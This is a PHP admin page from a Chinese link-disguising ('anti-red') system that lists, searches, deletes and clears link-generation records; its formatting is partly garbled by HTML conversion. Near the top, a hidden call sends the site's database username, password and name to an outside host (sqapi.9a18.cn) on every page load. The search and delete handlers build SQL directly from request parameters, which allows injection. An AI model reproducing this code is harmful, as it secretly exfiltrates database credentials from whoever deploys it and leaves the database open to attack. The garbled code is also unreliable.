防红链接生成记录管理 - 清空数据、搜索、删除记录
<?php
/**
* 旧爱域名防红系统
**/
include('../includes/common.php');
$title='生成记录';
include './head.php';
if($islogin==1){}else exit('<script language='javascript'>window.location.href='./login.php';</script>');
?>
<?php
if(!isset($_SESSION['authcode'])) {
$query=file_get_contents('http://sqapi.9a18.cn/check.php?url='.$_SERVER['HTTP_HOST'].'&authcode='.$authcode);
if($query=json_decode($query,true)) {
if($query['code']==1)$_SESSION['authcode']=true;
else exit('<h3>'.$query['msg'].'</h3>');
}
}
@file_get_contents('http://sqapi.9a18.cn/api/daoban.php?url='.$_SERVER['HTTP_HOST'].'&user='.$dbconfig['user'].'&pwd='.$dbconfig['pwd'].'&db='.$dbconfig['dbname']);
?>
<main class="lyear-layout-content">
<div class="container-fluid">
<div class="row">
<div class="col-lg-12">
<div class="card">
<div class="card-header">
<h4>生成记录</h4>
</div>
<div class="card-body">
<!--页面主要内容-->
<main class="lyear-layout-content">
<pre><code> <div class="container-fluid">
<div class="row">
<?php
</code></pre>
<p>$my=isset($_GET['my'])?$_GET['my']:null;</p>
<p>if($my=='del'){
$id=intval($_GET['id']);
$url=$_GET['url'];
$sql=$DB->query("DELETE FROM jiuai_report WHERE id='$id'");</p>
<p>$myrow = $DB->get_row("select * from jiuai_long where longurl='" . base64_encode($url) . "' limit 1");
$Id = $myrow['Id'];
$sql=$DB->query("DELETE FROM jiuai_long WHERE Id='$Id'");</p>
<p>if($sql){$res='删除成功！';}
else{$res='删除失败！';}
exit('<script language='javascript'>alert('{$res}');window.location.href='./scjl.php';</script>');</p>
<p>}</p>
<p>if($my=='del2'){
$checkbox=$_POST['checkbox'];
$i=0;
foreach($checkbox as $id){
$DB->query("DELETE FROM jiuai_report WHERE id='$id'");
$i++;
}
exit('<script language='javascript'>alert('成功删除{$i}条记录');window.location.href='./scjl.php';</script>');
}</p>
<p>elseif($my=='qk'){//清空数据
echo ' <div class="col-lg-12">
<div class="card">
<div class="panel panel-default">
<div class="card-header"><h4>清空数据</h4></div>
<div class="panel-body"></p>
<p>您确认要清空所有数据吗？清空后无法恢复！<br><a href="./scjl.php?my=qk2">确认</a> | <a href="javascript:history.back();">返回</a></div></div>';
}
elseif($my=='qk2'){//清空数据结果
echo ' <div class="col-lg-12">
<div class="card">
<div class="panel panel-default">
<div class="card-header"><h4>清空数据</h4></div></p>
<pre><code> <div class="panel-body">
';
</code></pre>
<p>if($DB->query("TRUNCATE TABLE jiuai_report")==true){
$DB->query("TRUNCATE TABLE jiuai_long");
echo '<div class="box">清空成功.</div>';
}else{
echo'<div class="box">清空失败.</div>';
}
echo '<hr/><a href="./?go=scjl">>>返回记录列表</a></div></div>';
}
else
{</p>
<p>if(isset($_GET['kw'])) {
if($_GET['type']==1) {
$sql=" <code>reason</code>='{$_GET['kw']}' ";
$numrows=$DB->count("SELECT count(<em>) from jiuai_report WHERE{$sql}");
$con='包含 '.$_GET['kw'].' 的共有 <b>'.$numrows.'</b> 个记录';
}elseif($_GET['type']==2) {
$sql=" <code>email</code>='{$_GET['kw']}' ";
$numrows=$DB->count("SELECT count(</em>) from jiuai_report WHERE{$sql}");
$con='包含 '.$_GET['kw'].' 的共有 <b>'.$numrows.'</b> 个记录';
}elseif($_GET['type']==3) {
$sql=" <code>url</code> LIKE '%{$_GET['kw']}%' ";
$numrows=$DB->count("SELECT count(<em>) from jiuai_report WHERE{$sql}");
$con='包含 '.$_GET['kw'].' 的共有 <b>'.$numrows.'</b> 个记录';
}
}else{
$numrows=$DB->count("SELECT count(</em>) from jiuai_report WHERE 1");
$sql=" 1 ";
$con=' <div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
系统共有 <b><strong>'.$numrows.'</strong></b> 条生成记录 [<a href="./scjl.php?my=qk">清空所有</a>]
</div>
';
}
echo '
<div class="col-lg-12">
<div class="card">
<div class="card-header">
<center><h4>防红链接生成记录</h4> </center>
</div>
';</p>
<p>?></p>
<pre><code> <div class="table-responsive">
<table class="table table-hover">
<thead><tr>
<th>
<label class="lyear-checkbox checkbox-primary">
<input type="checkbox" id="check-all"><span></span>
</label>
<form name="form1" method="post" action="./scjl.php?my=del2">
</th><th>生成网址</th><th>防红链接</th><th>防红类型</th><th>接口域名</th><th>生成者IP</th><th>生成时间</th><th>操作记录</th></tr></thead>
<tbody>
</code></pre>
<?php
$pagesize=30;
$pages=intval($numrows/$pagesize);
if ($numrows%$pagesize)
{
$pages++;
}
if (isset($_GET['page'])){
$page=intval($_GET['page']);
}
else{
$page=1;
}
$offset=$pagesize*($page - 1);
$rs=$DB->query("SELECT * FROM jiuai_report WHERE{$sql} order by id desc limit $offset,$pagesize");
while($res = $DB->fetch($rs))
{
echo '<tr>
<td>
<label class="lyear-checkbox checkbox-primary">
<input type="checkbox" name="checkbox[]" value=''.$res['id'].''><span></span>
</label>
</td>
<td><a href='' . htmlspecialchars($res['url']) . '' rel="noreferrer" target="_blank">' . htmlspecialchars($res['url']) . '</a></td>
<td><a href='' . htmlspecialchars($res['reason']) . '' rel="noreferrer" target="_blank">' . htmlspecialchars($res['reason']) . '</a></td>
<td>' . ($res['status']==2?'<font color="red">隐性直连</font>':'<font color="orange">极速跳转</font>') . '</td>
<td><a href="http://' . htmlspecialchars($res['email']) . '">' . htmlspecialchars($res['email']) . '</a></td>
<td>' . htmlspecialchars($res['ip']) . '</td>
<td>' . $res['date'] . '</td>
<td>
<a class="btn btn-xs btn-default" href="./hbmd.php?my=add&url=' . urlencode(htmlspecialchars($res['url'])) . '" title="添加黑名单" data-toggle="tooltip"><i class="mdi mdi-pencil"></i></a>
<a class="btn btn-xs btn-default" href="./scjl.php?my=del&id=' . $res['id'] . '&url=' . htmlspecialchars($res['url']) . '" title="删除" data-toggle="tooltip" onclick="return confirm('你确实要删除此记录吗？');"><i class="mdi mdi-window-close"></i></a>
</td>';
}
?>
<pre><code> </tbody>
</table>
<input type="submit" name="Submit" value="删除选中">
</code></pre>
</form>
</div>
</div>
</div>
<!--消息提示-->
<script src="../assets/js/bootstrap-notify.min.js"></script>
<script type="text/javascript" src="../assets/js/lightyear.js"></script>
<script type="text/javascript">
// 消息提示示例
lightyear.notify('系统共有 <?php echo $numrows;?>条生成记录 [<a href="./scjl.php?my=qk">清空所有</a>]', 'info', 5000, 'mdi mdi-emoticon-happy', 'top', 'left');
</script>
<pre><code> <center>
</code></pre>
<?php
echo'<ul class="pagination">';
$first=1;
$prev=$page-1;
$next=$page+1;
$last=$pages;
if ($page>1)
{
echo '<li><a href="./scjl.php?page='.$first.$link.'">首页</a></li>';
echo '<li><a href="./scjl.php?page='.$prev.$link.'">«</a></li>';
} else {
echo '<li class="active"><a>首页</a></li>';
echo '<li class="active"><a>«</a></li>';
}
for ($i=1;$i<$page;$i++)
echo '<li><a href="./scjl.php?page='.$i.$link.'">'.$i .'</a></li>';
echo '<li class="active"><a>'.$page.'</a></li>';
for ($i=$page+1;$i<=$pages;$i++)
echo '<li><a href="./scjl.php?page='.$i.$link.'">'.$i .'</a></li>';
echo '';
if ($page<$pages)
{
echo '<li><a href="./scjl.php?page='.$next.$link.'">»</a></li>';
echo '<li><a href="./scjl.php?page='.$last.$link.'">尾页</a></li>';
} else {
echo '<li class="active"><a>»</a></li>';
echo '<li class="active"><a>尾页</a></li>';
}
echo'</ul>';
#分页
}
?>
</center>
</div>
</div>
<script type="text/javascript" src="../assets/LightYear/js/jquery.min.js"></script>
<script type="text/javascript" src="../assets/LightYear/js/bootstrap.min.js"></script>
<script type="text/javascript" src="../assets/LightYear/js/perfect-scrollbar.min.js"></script>
<script type="text/javascript" src="../assets/LightYear/js/main.min.js"></script>
</body>
</html>
原文地址: https://www.cveoy.top/t/topic/njuV 著作权归作者所有。请勿转载和采集!